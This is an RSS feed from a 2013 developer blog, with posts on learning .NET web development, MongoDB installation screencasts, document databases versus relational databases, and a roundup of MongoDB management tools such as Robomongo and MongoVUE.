<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Michael Kennedy on Technology</title>
	<atom:link href="http://blog.michaelckennedy.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.michaelckennedy.net</link>
	<description>Cutting-Edge Developer and Technology Writing with a .NET Accent</description>
	<lastBuildDate>Tue, 21 May 2013 02:37:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='blog.michaelckennedy.net' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Michael Kennedy on Technology</title>
		<link>http://blog.michaelckennedy.net</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://blog.michaelckennedy.net/osd.xml" title="Michael Kennedy on Technology" />
	<atom:link rel='hub' href='http://blog.michaelckennedy.net/?pushpress=hub'/>
		<item>
		<title>Reblogged: What should I learn to get started in .NET and web development?</title>
		<link>http://blog.michaelckennedy.net/2013/05/06/what-should-i-learn-to-get-started-in-net-and-web-development/</link>
		<comments>http://blog.michaelckennedy.net/2013/05/06/what-should-i-learn-to-get-started-in-net-and-web-development/#comments</comments>
		<pubDate>Mon, 06 May 2013 23:48:33 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Online learning]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=912</guid>
		<description><![CDATA[[Note: I am reblogging this post which originally was posted to the LearningLine blog. Hope you all find it useful here as well] I recently had a conversation with someone who is looking to make a fresh start and become a developer &#8230; <a href="http://blog.michaelckennedy.net/2013/05/06/what-should-i-learn-to-get-started-in-net-and-web-development/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=912&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>[<strong>Note</strong>: I am reblogging this post which originally was <a href="http://blog.learninglineapp.com/2013/05/06/what-should-i-learn-to-get-started-in-net-and-web-development/" target="_blank">posted to the LearningLine blog</a>. Hope you all find it useful here as well]</p>
<p>I recently had a conversation with someone who is looking to make a fresh start and become a developer (coming from other IT positions).  The question they had was:</p>
<blockquote><p>What should I learn to get started in .NET and web development?</p></blockquote>
<p>Now this question was starting from a position of &#8220;I&#8217;d like to get started with .NET and the web. How do I do that?&#8221; So please hold your &#8220;No, choose Ruby (or NodeJS or &#8230; )&#8221; comments. That&#8217;s another blog post. :)</p>
<p>Here&#8217;s my advice along with a bunch of courses you can use to accomplish this efficiently and affordably.<span id="more-912"></span></p>
<p>To go from &#8220;<span style="font-style:inherit;line-height:1.625;">zero to web dev in .NET&#8221; I think you should start on these topics, in an iterative fashion:</span></p>
<div>
<ol>
<li><span style="line-height:15px;">Fundamentals of C# (skip the advanced stuff &#8211; async, yield return, etc for now)</span></li>
<li>Basic objected-oriented programming in C# (what is a class, what is inheritance  not patterns per say)</li>
<li>Fundamentals of ASP.NET and MVC (controllers, views, razor, a few things like that)</li>
<li>LINQ (simple focus on LINQ to objects)</li>
<li>JavaScript fundamentals (assuming that&#8217;s new to you)</li>
<li>jQuery basics</li>
<li>The ins-and-outs of user input in MVC (including security).</li>
<li>Entity framework basics.</li>
</ol>
<p>Now if you&#8217;d like some advice on where to get this training, check out our content on LearningLine.</p>
<p>Here are the related LearningLine courses from DevelopMentor which will walk you through this path. Because you can preview the first lesson of each course, you have about 7 hours free and the rest are all included in an affordable $29 subscription.</p>
<p>Getting started with C#:<br />
<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/1/getting-started-with-csharp" target="_blank"></a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/1/getting-started-with-csharp" target="_blank">https://learninglineapp.com/courses/1/getting-started-with-csharp</a></p>
<p>Designing maintainable code with C#<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/1/getting-started-with-csharp" target="_blank"><br />
</a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/6/design-maintainable-code-with-csharp" target="_blank">https://learninglineapp.com/courses/6/design-maintainable-code-with-csharp</a></p>
<p>Getting started with ASP.NET MVC<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/6/design-maintainable-code-with-csharp" target="_blank"><br />
</a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/10/getting-started-with-aspnet-mvc" target="_blank">https://learninglineapp.com/courses/10/getting-started-with-aspnet-mvc</a></p>
<p>Intro to data access in C#<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/10/getting-started-with-aspnet-mvc" target="_blank"><br />
</a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/7/introduction-to-data-access-in-csharp" target="_blank">https://learninglineapp.com/courses/7/introduction-to-data-access-in-csharp</a></p>
<p>Getting started with JavaScript<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/7/introduction-to-data-access-in-csharp" target="_blank"><br />
</a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/32/getting-started-with-javascript" target="_blank">https://learninglineapp.com/courses/32/getting-started-with-javascript</a></p>
<p>Essential jQuery<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/32/getting-started-with-javascript" target="_blank"><br />
</a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/17/essential-jquery" target="_blank">https://learninglineapp.com/courses/17/essential-jquery</a></p>
<p>Accepting user input in MVC<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/17/essential-jquery" target="_blank"><br />
</a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/11/accepting-user-input-in-aspnet-mvc" target="_blank">https://learninglineapp.com/courses/11/accepting-user-input-in-aspnet-mvc</a></p>
<p>Getting started with Entity Framework<a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/11/accepting-user-input-in-aspnet-mvc" target="_blank"><br />
</a><a style="font-style:inherit;line-height:1.625;" href="https://learninglineapp.com/courses/27/getting-started-with-entity-framework" target="_blank">https://learninglineapp.com/courses/27/getting-started-with-entity-framework</a></p>
</div>
<p>What&#8217;s great about taking these classes on LearningLine is there is zero duplication. If a lesson (task) happens to be shared across courses, you&#8217;ll see it already marked as completed for you and you can just skip to the next.</p>
<p><span style="font-style:inherit;line-height:1.625;">Hope this has help give you some guidance on getting serious about becoming a .NET developer.</span></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/online-learning/'>Online learning</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/912/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/912/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=912&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/05/06/what-should-i-learn-to-get-started-in-net-and-web-development/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Why Choose NoSQL and Document Databases over RDBMS</title>
		<link>http://blog.michaelckennedy.net/2013/05/03/why-choose-nosql-and-document-databases-over-rdbms/</link>
		<comments>http://blog.michaelckennedy.net/2013/05/03/why-choose-nosql-and-document-databases-over-rdbms/#comments</comments>
		<pubDate>Fri, 03 May 2013 14:25:32 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[Online courses]]></category>
		<category><![CDATA[Online learning]]></category>
		<category><![CDATA[Screencasts]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=904</guid>
		<description><![CDATA[Do you want to know the biggest single reason you should choose document databases over SQL Server, Oracle, or MySQL? Hint: It&#8217;s not performance or scalability. Here is a short screencast which shows you the stark contrast in simplicity between &#8230; <a href="http://blog.michaelckennedy.net/2013/05/03/why-choose-nosql-and-document-databases-over-rdbms/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=904&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Do you want to know the biggest single reason you should choose document databases over SQL Server, Oracle, or MySQL? Hint: It&#8217;s not performance or scalability.</p>
<p>Here is a short screencast which shows you the stark contrast in simplicity between an application using a relational database and one using a document database such as MongoDB, CouchDB, or RavenDB.</p>
<p>This is an excerpt from my upcoming online MongoDB course for DevelopMentor. You can take the first 1 1/2 hours for free here:</p>
<p><a title="MongoDB online course for .NET developers (windows and OS X) from DevelopMentor on LearningLine by Michael Kennedy." href="https://learninglineapp.com/courses/40/early-access-mongodb-and-nosql-for-dotnet-developers" target="_blank">Early access: MongoDB and NoSQL for .NET developers</a></p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/WtjZRusaa9o?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Cheers,<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/online-courses/'>Online courses</a>, <a href='http://blog.michaelckennedy.net/tag/online-learning/'>Online learning</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/904/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/904/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=904&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/05/03/why-choose-nosql-and-document-databases-over-rdbms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Installing MongoDB on Windows and OS X</title>
		<link>http://blog.michaelckennedy.net/2013/05/02/installing-mongodb-on-windows-and-os-x/</link>
		<comments>http://blog.michaelckennedy.net/2013/05/02/installing-mongodb-on-windows-and-os-x/#comments</comments>
		<pubDate>Thu, 02 May 2013 18:41:49 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Screencasts]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=905</guid>
		<description><![CDATA[Ready to get started with NoSQL and MongoDB? Here are two 7-minute walkthroughs for installing MongoDB as a Windows service / OS X daemon. These are both excerpts from my upcoming online MongoDB course for DevelopMentor. You can take the first &#8230; <a href="http://blog.michaelckennedy.net/2013/05/02/installing-mongodb-on-windows-and-os-x/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=905&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Ready to get started with NoSQL and MongoDB? Here are two 7-minute walkthroughs for installing MongoDB as a Windows service / OS X daemon.</p>
<p>These are both excerpts from my upcoming online MongoDB course for DevelopMentor. You can take the first 1 1/2 hours for free here:</p>
<p><a title="MongoDB online course for .NET developers (windows and OS X) from DevelopMentor on LearningLine by Michael Kennedy." href="https://learninglineapp.com/courses/40/early-access-mongodb-and-nosql-for-dotnet-developers" target="_blank">Early access: MongoDB and NoSQL for .NET developers</a></p>
<p><span style="font-style:inherit;line-height:1.625;"><strong>Windows:</strong><br />
</span></p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/fcbGY4ZUxcA?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p><strong>OS X:</strong></p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/iT0datgVcfs?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Feedback welcome.</p>
<p>cheers<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/905/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/905/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=905&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/05/02/installing-mongodb-on-windows-and-os-x/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>A Roundup of MongoDB Management Tools</title>
		<link>http://blog.michaelckennedy.net/2013/04/22/a-roundup-of-mongodb-management-tools-nosql-database/</link>
		<comments>http://blog.michaelckennedy.net/2013/04/22/a-roundup-of-mongodb-management-tools-nosql-database/#comments</comments>
		<pubDate>Mon, 22 Apr 2013 19:38:42 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=884</guid>
		<description><![CDATA[I&#8217;ve been working with MongoDB for a long time now. Back in the early days, there really were no management tools analogous to RDBMS tools (e.g. SQL Server Management Studio). Since then, things have changed significantly. It&#8217;s time to look &#8230; <a href="http://blog.michaelckennedy.net/2013/04/22/a-roundup-of-mongodb-management-tools-nosql-database/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=884&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been working with MongoDB for a long time now. Back in the early days, there really were no management tools analogous to RDBMS tools (e.g. <a href="http://www.youtube.com/watch?v=L3_E_7WWJm0" target="_blank">SQL Server Management Studio</a>). Since then, things have changed significantly. It&#8217;s time to look around and see what management / monitoring tooling is around these days for MongoDB.</p>
<p>The news is good. There are many different options to choose depending on your platform and use-cases.</p>
<p><strong>1. Robomongo, price: $0 / open-source, platforms: Windows, OS X, Linux</strong><br />
<a href="http://robomongo.org/">http://robomongo.org/</a></p>
<p style="padding-left:30px;"><em>Robomongo — is a shell-centric cross-platform open source MongoDB management tool (i.e. Admin GUI). Robomongo embeds the same JavaScript engine that powers MongoDB&#8217;s mongo shell. Everything you can write in mongo shell — you can write in Robomongo!</em></p>
<p><span style="font-style:inherit;line-height:1.625;"><img class="alignnone size-large wp-image-888" style="font-style:inherit;line-height:1.625;" alt="Robomongo" src="http://michaelckennedy.files.wordpress.com/2013/04/robomongo.png?w=584&#038;h=378" width="584" height="378" /></span></p>
<p><span style="font-style:inherit;line-height:1.625;"><strong>Key featu</strong></span><strong style="font-style:inherit;line-height:1.625;">res</strong><span style="font-style:inherit;line-height:1.625;">:<span id="more-884"></span></span></p>
<ul>
<li><span style="font-style:inherit;line-height:1.625;">Full power of MongoDB shell with the ease of a GUI</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Multiple shells</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Multiple results</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Autocompletion</span></li>
<li><span style="font-style:inherit;line-height:1.625;">View your MongoDB database as a hierarchical tree consisting of databases, collections, indexes and users</span></li>
<li><span style="font-style:inherit;line-height:1.625;">User </span>management</li>
</ul>
<p><strong>My take</strong>: Robomongo is definitely my current favorite management tool for MongoDB. It beautifully blends the power of the mongo shell and JavaScript API with a classy and intuitive user interface. Basically every rich UI can be driven by shell commands and then further manipulated with the UI. Brilliant. The fact that it&#8217;s free and works on all platforms is nice too.</p>
<p><strong><span style="font-style:inherit;line-height:1.625;">The shell<strong>, price: $0 / open-source, platforms: Windows, OS X, Linux<br />
</strong></span></strong><span style="font-style:inherit;line-height:1.625;">No url, comes with MongoDB itself.</span></p>
<p style="padding-left:30px;"><em>The mongo shell is an interactive JavaScript shell for MongoDB, and is part of all MongoDB distributions.</em></p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/shell.png"><img class="alignnone size-large wp-image-890" alt="shell" src="http://michaelckennedy.files.wordpress.com/2013/04/shell.png?w=584&#038;h=499" width="584" height="499" /></a></p>
<p><strong>Key features</strong>:</p>
<ul>
<li><span style="font-style:inherit;line-height:1.625;">Complete (albeit command-line only) access to MongoDB</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Comes with MongoDB</span></li>
</ul>
<p><strong>My take</strong>: While the mongo shell might not be your favorite way work with MongoDB, it is very powerful and it&#8217;s always available. So you should take the time to learn it properly. Especially since you&#8217;ll need to know most of the features to take advantage of Robomongo above anyway.</p>
<p><strong>Mongovue</strong><strong>, price: $0 / $35 / $up, platforms: Windows</strong></p>
<p style="padding-left:30px;"><em>MongoVUE is an innovative MongoDB desktop application for Windows OS that gives you an elegant and highly usable GUI interface to work with MongoDB. Now there is one less worry in managing your web-scale data.</em></p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/mongovue.png"><img class="alignnone size-large wp-image-891" alt="MongoVUE" src="http://michaelckennedy.files.wordpress.com/2013/04/mongovue.png?w=584&#038;h=436" width="584" height="436" /></a></p>
<p><strong>Key features</strong>:</p>
<ul>
<li>Gain a quick and effective overview of your database (size, usage, doc count, etc).</li>
<li><span style="font-style:inherit;line-height:1.625;">Easily build indexes – either specify Json or use the point and click (visual) interface</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Run Map-Reduce operations easily. Get syntax highlighting for your Javascript functions while typing</span></li>
<li><span style="font-style:inherit;line-height:1.625;">View your MongoDB database as a hierarchical tree consisting of databases, collections, indexes and users</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Import relational data from MySQL or SQLServer into MongoDB automatically and start building your applications right away</span></li>
<li><span style="font-style:inherit;line-height:1.625;">User Managment</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Special GridFS interface</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Limited shell support</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Copy collections from a database to another database</span></li>
</ul>
<p><strong>My take</strong>: Mongovue has been around for awhile and is solid and affordable. I really like the &#8220;overview&#8221; view for a given database to see just how much space everything is using and how your data is growing.</p>
<p><strong>LINQPad</strong><strong>, price: $0 / $39, platforms: Windows</strong><br />
<a href="http://www.linqpad.net/">http://www.linqpad.net/</a><br />
<a href="http://www.thinqlinq.com/default/Using-LINQPad-with-MongoDb-and-NoRM.aspx">http://www.thinqlinq.com/default/Using-LINQPad-with-MongoDb-and-NoRM.aspx</a></p>
<p style="padding-left:30px;"><em>LINQPad lets you interactively query databases in a modern query language: LINQ. Kiss goodbye to SQL Management Studio! LINQPad supports everything in C# 5.0 and Framework 4.5</em></p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/linqpad.png"><img class="alignnone size-large wp-image-893" alt="linqpad" src="http://michaelckennedy.files.wordpress.com/2013/04/linqpad.png?w=584&#038;h=686" width="584" height="686" /></a></p>
<p><strong>Key features</strong>:</p>
<p>C# &#8220;shell&#8221; rather than JavaScript shell.<br />
Can leverage utility functions from your library<br />
Directly work in the objects and classes of your application</p>
<p><strong>My take</strong>: If you are writing .NET apps to talk to MongoDB do <strong>not</strong> overlook LINQPad. You can take your classes and queries directly from your app and test and view the results in this GUI. Follow Jim Wooley&#8217;s blog post link above to see how to put your classes in LINQPad to get started (you might not be using NoRM, so adjust accordingly).</p>
<p><strong>REST view, price: $0 / open-source, platforms: Windows, OS X, Linux</strong><br />
<a href="http://localhost:28017/">http://localhost:28017/</a></p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/rest-mongo.png"><img class="alignnone size-large wp-image-895" alt="REST-Mongo" src="http://michaelckennedy.files.wordpress.com/2013/04/rest-mongo.png?w=584&#038;h=502" width="584" height="502" /></a></p>
<p><strong>Key features</strong>:</p>
<ul>
<li><span style="font-style:inherit;line-height:1.625;">View contents and status of server with your browser</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Check on performance and statistics</span></li>
<li><span style="font-style:inherit;line-height:1.625;">View the log file</span></li>
</ul>
<p><strong>My take</strong>: While this is just the basic REST API of MongoDB, you can monitor your log files, run commands using the REST API, and otherwise check in on your server. Not bad. Just requires the &#8211;rest command-line to mongod.</p>
<p><strong>Genghis, price: $0 / open-source, platforms: Windows, OS X, Linux</strong><br />
<a href="http://genghisapp.com/">http://genghisapp.com/</a></p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/genghis.png"><img class="alignnone size-large wp-image-897" alt="Genghis" src="http://michaelckennedy.files.wordpress.com/2013/04/genghis.png?w=584&#038;h=492" width="584" height="492" /></a></p>
<p><strong>Key features</strong>:</p>
<ul>
<li><span style="font-style:inherit;line-height:1.625;">Basic database status, CRUD, etc.</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Installs into your web app (provided you&#8217;re using Ruby or PHP)</span></li>
<li><span style="font-style:inherit;line-height:1.625;">View contents and status of server with your browser</span></li>
</ul>
<p><strong>My take</strong>: This is a very interesting web monitoring app. Just drop a single .RB or .PHP file on your server and you get a well rounded management tool. Only requires that you can run Ruby or PHP on your server.</p>
<p><strong>MongoDB Monitoring Service, price: $0 / open-source, platforms: Windows, OS X, Linux</strong></p>
<p style="padding-left:30px;"><em>MMS (MongoDB Monitoring Service) is a service for monitoring MongoDB infrastructure. MMS was created by 10gen and is provided for all users of MongoDB. Designed with security and ease of use, MMS collects statistics on all key server and hardware indicators and then presents the data in a powerful web console. The data is a great asset when optimizing applications during development and potentially invaluable when diagnosing production issues. For sharded clusters consisting of dozens of nodes, MMS is particularly useful because it provides a holistic overview of MongoDB deployments so that administrators can asses quickly the health clusters.</em></p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/04/mms.png"><img class="alignnone size-large wp-image-896" alt="mms" src="http://michaelckennedy.files.wordpress.com/2013/04/mms.png?w=584&#038;h=348" width="584" height="348" /></a></p>
<p><strong>Key features</strong>:</p>
<ul>
<li><span style="font-style:inherit;line-height:1.625;">Allows secure access to your server&#8217;s stats and errors remotely</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Great graphical dashboards about server usage</span></li>
<li><span style="font-style:inherit;line-height:1.625;">Error reports and logs</span></li>
<li>Alerts for server issues</li>
</ul>
<p><strong>My take</strong>: MMS is an interesting, free service from 10gen, the makers of MongoDB. It&#8217;s pretty easy and quick to setup.</p>
<p><strong>Conclusion</strong>:</p>
<p>Hopefully you&#8217;ve found something new or interesting that can help you get started or keep going with MongoDB. The lack of management tools was hurting MongoDB&#8217;s adoption in the early days. I think those days are past.</p>
<p>Cheers,<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/linq/'>LINQ</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/884/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/884/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=884&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/04/22/a-roundup-of-mongodb-management-tools-nosql-database/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/robomongo.png?w=584" medium="image">
			<media:title type="html">Robomongo</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/shell.png?w=584" medium="image">
			<media:title type="html">shell</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/mongovue.png?w=584" medium="image">
			<media:title type="html">MongoVUE</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/linqpad.png?w=584" medium="image">
			<media:title type="html">linqpad</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/rest-mongo.png?w=584" medium="image">
			<media:title type="html">REST-Mongo</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/genghis.png?w=584" medium="image">
			<media:title type="html">Genghis</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/04/mms.png?w=584" medium="image">
			<media:title type="html">mms</media:title>
		</media:content>
	</item>
		<item>
		<title>Optimistic concurrency in MongoDB using .NET and C#</title>
		<link>http://blog.michaelckennedy.net/2013/04/08/optimistic-concurrency-in-mongodb-using-net-and-csharp/</link>
		<comments>http://blog.michaelckennedy.net/2013/04/08/optimistic-concurrency-in-mongodb-using-net-and-csharp/#comments</comments>
		<pubDate>Tue, 09 Apr 2013 00:37:14 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=844</guid>
